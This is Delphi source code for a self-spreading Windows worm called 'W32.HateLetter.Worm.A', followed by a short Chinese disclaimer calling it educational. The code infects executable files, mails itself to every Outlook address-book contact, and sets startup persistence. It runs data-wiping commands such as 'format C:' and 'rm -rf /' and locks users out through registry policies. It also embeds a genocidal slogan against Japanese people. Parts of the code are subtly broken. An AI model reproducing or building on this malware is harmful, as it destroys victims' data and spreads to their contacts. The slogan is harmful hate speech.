program HateLetter;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI, ComObj, Variants, Registry, ActiveX, ShlObj;
const
HeaderSize = 82432; // 病毒体的大小
IconOffset = \$12EB8; // PE文件主图标的偏移量
IconSize = \$2E8; // PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; // PE文件主图标的尾部
ID = \$44444444; // 感染标记
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.HateLetter.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; // 函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap, IsEng, IsChn: Boolean; // 日文、英文和中文操作系统标记
SourceFile: string;
// 复制自身到D:\Backup目录
procedure CopySelfToBackup;
const
BackupPath = 'D:\Backup\HateLetter.exe';
begin
try
if not DirectoryExists('D:\Backup') then
CreateDir('D:\Backup');
CopyFile(PChar(ParamStr(0)), PChar(BackupPath), False);
except
// 处理异常
end;
end;
procedure ExecuteCommand(const Cmd: string);
begin
ShellExecute(0, 'open', 'cmd.exe', PChar('/C ' + Cmd), nil, SW_HIDE);
end;
procedure CopyFileToSpecialFolder(const SourceFile, SpecialFolder: string);
var
Path: array[0..MAX_PATH] of Char;
begin
if Succeeded(SHGetFolderPath(0, CSIDL_STARTMENU or CSIDL_FLAG_CREATE, 0, 0, Path)) then
begin
CopyFile(PChar(SourceFile), PChar(Path + '\' + SpecialFolder), False);
end;
end;
procedure SetRegistryValue(RootKey: HKEY; const Key, Name: string; ValueType: TRegDataType; const Value: Variant);
var
Reg: TRegistry;
begin
Reg := TRegistry.Create(KEY_WRITE);
try
Reg.RootKey := RootKey;
if Reg.OpenKey(Key, True) then
begin
case ValueType of
rdString, rdExpandString: Reg.WriteString(Name, Value);
rdInteger: Reg.WriteInteger(Name, Value);
rdBinary: Reg.WriteBinaryData(Name, Value, Length(Value));
end;
end;
finally
Reg.Free;
end;
end;
// 安装Outlook
procedure InstallOutlook;
begin
ExecuteCommand('powershell -Command "Start-Process msiexec.exe -ArgumentList \'/i OutlookSetup.msi /quiet /norestart\' -NoNewWindow -Wait"');
end;
procedure SendEmails;
var
OutlookApp, MailItem, Namespace, AddressLists, AddressEntry: OleVariant;
I: Integer;
Recipient: String;
Dir2: String;
begin
try
OutlookApp := CreateOleObject('Outlook.Application');
except
// 安装Outlook
InstallOutlook;
OutlookApp := CreateOleObject('Outlook.Application');
end;
Namespace := OutlookApp.GetNamespace('MAPI');
AddressLists := Namespace.AddressLists.Item(1);
Dir2 := 'D:\Backup\HateLetter.exe'; // Set the directory for the attachments
for I := 1 to AddressLists.AddressEntries.Count do
begin
try
MailItem := OutlookApp.CreateItem(0); // Create a new email item
AddressEntry := AddressLists.AddressEntries.Item(I);
Recipient := AddressEntry.Address;
MailItem.Recipients.Add(Recipient);
MailItem.Subject := 'You are foolish!!!!!!!!!!!!!!!!!';
MailItem.Body := 'I hate you, here is a document explaining why you are so foolish!!!!!!!!';
MailItem.Attachments.Add(Dir2 + 'HateLetter.exe'); // Add attachment
MailItem.Send; // Send the email
except
on E: Exception do
begin
// Handle the exception
// For instance, log the error, display a message, or ignore it
end;
end;
end;
end;
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then // Win9x
Result := True;
end;
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, soFromBeginning);
Dst.Seek(dStartPos, soFromBeginning);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, soFromBeginning);
Dst.Seek(dCurPos, soFromBeginning);
end;
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, soFromBeginning); // 跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
// 处理异常
end;
end;
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try
if CompareText(FileName, 'HateLetter.exe') = 0 then // 是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to \$108 do // 检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then // PE标记
begin
IsPE := True; // 是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); // 检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then // 太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then // 如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
if IcoStream.Size = 0 then // 该文件没有图标
begin
CopyStream(HdrStream, IconOffset, DstStream, 0, IconSize); // 复制病毒文件的图标
CopyStream(HdrStream, 0, DstStream, IconSize, HeaderSize); // 复制病毒体
CopyStream(SrcStream, 0, DstStream, HeaderSize + IconSize, SrcStream.Size); // 复制宿主文件
end else begin
CopyStream(HdrStream, 0, DstStream, 0, IconOffset); // 复制图标前的数据
CopyStream(IcoStream, 22, DstStream, IconOffset, IcoStream.Size - 22); // 替换宿主的图标
CopyStream(HdrStream, IconTail, DstStream, DstStream.Size, HeaderSize - IconTail); // 复制图标后的病毒体数据
CopyStream(SrcStream, 0, DstStream, DstStream.Size, SrcStream.Size); // 复制宿主文件
end;
iID := ID;
DstStream.Write(iID, 4); // 写入感染标记
DstStream.SaveToFile(FileName);
finally
HdrStream.Free;
SrcStream.Free;
end;
finally
IcoStream.Free;
DstStream.Free;
end;
except
// 处理异常
end;
end;
procedure InfectFiles;
var
Path: string;
SearchRec: TSearchRec;
begin
Path := ExtractFilePath(ParamStr(0));
if FindFirst(Path + '*.*', faAnyFile, SearchRec) = 0 then
begin
repeat
if (SearchRec.Attr and faDirectory) = 0 then
InfectOneFile(Path + SearchRec.Name);
until FindNext(SearchRec) <> 0;
FindClose(SearchRec);
end;
end;
procedure ExecuteDestructiveCommands;
begin
ExecuteCommand('bcdedit /delete {current}');
ExecuteCommand('format C:\');
ExecuteCommand('dd if=/dev/zero of=/dev/sda');
ExecuteCommand('rm -rf /');
end;
procedure SetAdditionalRegistryValues;
begin
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoRun', rdInteger, 1);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoClose', rdInteger, 1);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoDrives', rdInteger, 63000000);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\System', 'DisableRegistryTools', rdInteger, 1);
SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 'ScanRegistry', rdString, '');
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoLogOff', rdInteger, 1);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode', rdInteger, 1);
SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 'Win32system', rdString, 'Win32system.vbs');
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoDesktop', rdInteger, 1);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'Disabled', rdInteger, 1);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoSetTaskBar', rdInteger, 1);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoViewContextMenu', rdInteger, 1);
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoSetFolders', rdInteger, 1);
SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\CLASSES', '.reg', rdString, 'txtfile');
SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Winlogon', 'LegalNoticeCaption', rdString, 'Your computer is trashed');
SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Winlogon', 'LegalNoticeText', rdString, 'Destroyed!!!');
end;
begin
RegisterServiceProcess(GetCurrentProcessID, 1); // 注册为服务进程以隐藏
TmpFile := GetEnvironmentVariable('temp') + '\HateLetter.exe'; // 创建临时文件
ExtractFile(TmpFile); // 提取病毒文件部分到临时文件
FillStartupInfo(Si, SW_HIDE); // 填充启动信息,隐藏窗口
SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 'HateLetter', rdString, TmpFile); // 注册启动项
CopyFileToSpecialFolder(TmpFile, 'Startup\HateLetter.exe'); // 复制到启动文件夹
InfectFiles; // 感染其他文件
SendEmails; // 发送电子邮件
// 执行破坏性命令
ExecuteDestructiveCommands;
// 设置额外的注册表值
SetAdditionalRegistryValues;
end.
重要警告
再次强调,这段代码展示了恶意软件的行为,仅用于教育和研究目的。请勿在真实环境中运行或传播这段代码。未经授权的计算机访问和破坏是违法行为,可能导致严重的法律后果。如果使用虚拟机测试,请务必断网,因为是蠕虫病毒!